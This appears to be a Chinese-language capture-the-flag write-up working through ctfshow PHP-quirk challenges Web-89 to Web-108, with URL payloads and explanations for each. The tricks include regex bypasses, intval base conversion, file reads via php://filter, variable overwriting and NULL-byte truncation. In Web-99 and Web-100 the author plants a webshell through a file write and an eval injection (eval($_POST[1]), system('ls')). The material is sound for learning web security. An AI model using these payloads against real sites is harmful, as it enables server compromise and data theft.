php特性

Web-89

image-20220510185418585

利用数组绕过正则表达式

输入:?num[]=

image-20220510192049740

Web-90

image-20220510193518630

这题不能输入等于4476,但需要提交一个字符串——int值输出为4476

输入:?num=0x117c      //后面的数字将被以十进制的形式读取
     ?num==010574      //后面的数字将被以八进制的形式读取

image-20220510195127879

注意

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

Web-91

image-20220510201537182

输入:?cmd=%0aphp

因为 %0a 表示换行,那么匹配会自动跳到第二行,发现存在php,就继续执行下一个正则表达式,但是下一个正则不能m了,所以就没检测到php,就执行else语句,显示flag

Web-92

image-20220511210119565这一题好像跟Web-90也没啥差别嘛

输入:?num=0x117c

image-20220511210418974

Web-93

image-20220511212150139

条件:1.数字不能为4476 2.不能有小写字母 3.进制转换后要是4476

先尝试:?num=0X117C        //没成功
输入:  ?num=_10574        //八进制   回显0
        ?num=010574       //成功

image-20220511220727610

原理是之前说过的那个—— intval($num,0):如果字符串以 “0” 开始,使用 8 进制(octal)

Web-94

image-20220511221115279

一样先看看题,条件:1.不能为4476 2.不能为小写字母 3.需要有0

这里出现了一个新函数,了解一下

image-20220511221306680

strpos()函数查找字符串在另一字符串中第一次出现的位置并返回

这题还是可以用八进制,但是八进制需要开头指定为0,而strpos()会匹配到数字0返回0,!0也就是1从而执行死亡函数,所以我们可以在八进制前面加一个空格

?num= 010574

image-20220511223149178

Web-95

image-20220511224100712

这题多过滤了.号,其他条件不变,上题没有用到.,所以直接用上题的payload也行

Web-96

image-20220511224342019

这里的单引号很瞩目,感觉跟字符串有关

输入?u=1 试试看 

image-20220511224550597

报错里面爆出了绝对路径,突然想到敏感信息泄露哈哈哈哈(虽然跟这题没什么关系),那么flag应该也就在这里面了

输入:?u=/var/www/html/flag.php

也可以用php伪协议来

?u=php://filter/resource=flag.php       //不要写成read了哈哈哈

image-20220511230600065

Web-97

image-20220511231146007

因为是弱类型比较,所以可以直接数组绕过,反正输出结果都是null

输入:a[]=1&b[]=2

Web-98

image-20220512160049405

这一题考到了

三元运算符的知识,就相当于简洁化后的if..else语句

传值引用的知识,前面有&的$参数,属于引用对象,会改变输出的值

image-20220513143414884

$_GET=&$_POST;     //只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)

中间的代码没有作用,因为我们不提交 flag 参数

看了一个大佬对语句的解释,浅浅py一下~

image-20220513144555651

Web-99

image-20220513180054508

浅浅分析一下

$allow = array();                 
//定义一个空数组
array_push($allow, rand(1,$i));      
//对空数组进行填充
if(isset($_GET['n']) && in_array($_GET['n'], $allow))
//如果get一个n参数并且数组里存在(in_array)这个n
file_put_contents($_GET['n'], $_POST['content']);
//就会把n作为文件名,content作为内容写入当前文件夹

image-20220513235656725

先传一个马上去

image-20220513235743882

访问一下,写进去辣

image-20220515152719598

再去蚁剑连一下

image-20220515152835825

okkk

Web-100

image-20220515195536004

浅浅代码审计一下

if($v0){            
//v0(也就是上一行说的$v0=is_numeric($v1))要成立,才能执行下面的语句
    if(!preg_match("/\;/", $v2)){
//v2不能有分号出现(因为有个感叹号,表示相反)
        if(preg_match("/\;/", $v3)){
//v3与v2相反
            eval("$v2('ctfshow')$v3"); 
//eval — 把字符串作为PHP代码执行,也就是执行函数

接下来就根据分析之后的进行尝试

在中间会有一些小坑,比如

?v1=1&v2=phpinfo()?>&v3=;         //因为v2里不能出现分号,所以就用>?截断
?v1=1&v2=eval($_POST[1])?>&v3=;
1=system("ls");            //去蚁剑就不用用这个 我是为了试试看能不能连上嘿嘿

image-20220517185420972

0x2d用-替换,把东西加一个ctfshow{}的框架,最后就是这样子的

image-20220517185958223

Web-101

image-20220517192155654

因为已经定义了一个ctfshow类,所以用一个Reflectionclass来反射获取类的信息

?v1=1&v2=echo new Reflectionclass&v3=;

image-20220517193207319

image-20220517194753425

这样去提交之后,发下还是错的,很懵,点开hint

image-20220517194842369

emmmm好一个拉低成功率

Web-102

image-20220517195000885

有一句要注意一下

$v4 = is_numeric($v2) and is_numeric($v3); 

这一句就只有v2的值对v4有影响,涉及到优先级的问题:&& > = > and,所以是先执行$v4 = is_numeric($v2),所以只需要这半句为true就行

image-20220518141540217

这样写的时候报错,就重点关注一下这个回调函数

image-20220518141637652

感觉还挺形象的,就浅浅收录一下

image-20220518142417885

试了好多,还是不行,就看了看hint,把下面这个v2的值转换一下就是 cat *

get:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin

这里用hex2bin就是因为回调函数call_user_func()的存在

image-20220518143202366

最后访问上传的文件,查看源代码可以得到flag

Web-103

image-20220518150153502

这题过滤了p、h、p,但是我们上一题就没有用到过,所以这题用上一题同样的方法也可以得出

image-20220518150715797

Web-104

image-20220518151121980

出现了一个新朋友,查一下

image-20220518152300939

v1的sha1值等于v2的sha1就好,那就直接提交两个相同的数

image-20220518153342234

或者用数组绕过

image-20220518153515015

Web-105

image-20220518153639633

这么长,突然就不想要flag了

$_GET as $key =>$value
//解释为遍历$_GET数组内的元素,每组元素为一个键($key)对应一个值($value)的形式

根据后面的if语句可以得出——我们主要是要覆盖error值,得到flag

if($value==='flag'){                          
     die("what are you doing?!");             
  }
$$key=$$value; 

当$key==='error'时==>回显 what are you doing?!,否则$key转化成$value(变量覆盖),两个foreach同理

if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces); 

这段代码表示得到flag有两种方式,一种是 if 中用error得到,另一种是用suces得到

?a=flag 
POST: error=a
?suces=flag
flag= 

Web-106

image-20220518203834116

这题有点似曾相识

image-20220518203938861

Web-107

image-20220519122450311

parse_str — 将字符串解析成多个变量

image-20220519122724413

根据题目条件尝试了一下发现可以用数组绕过

看了一下官方答案

image-20220519122901235

这样子的,利用md5碰撞:使得v1中的flag=0,然后v3=0(md5(QNKCDZO)=0e…)

Web-108

image-20220519123117552

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE

需要参数输出值为flase,那么就要有小写字母出现(雷区蹦迪原则)

strrev($_GET['c']))==0x36d       //strrev — 反转字符串

16进制编码然后再反一反

image-20220519171817815

?c=abc%00778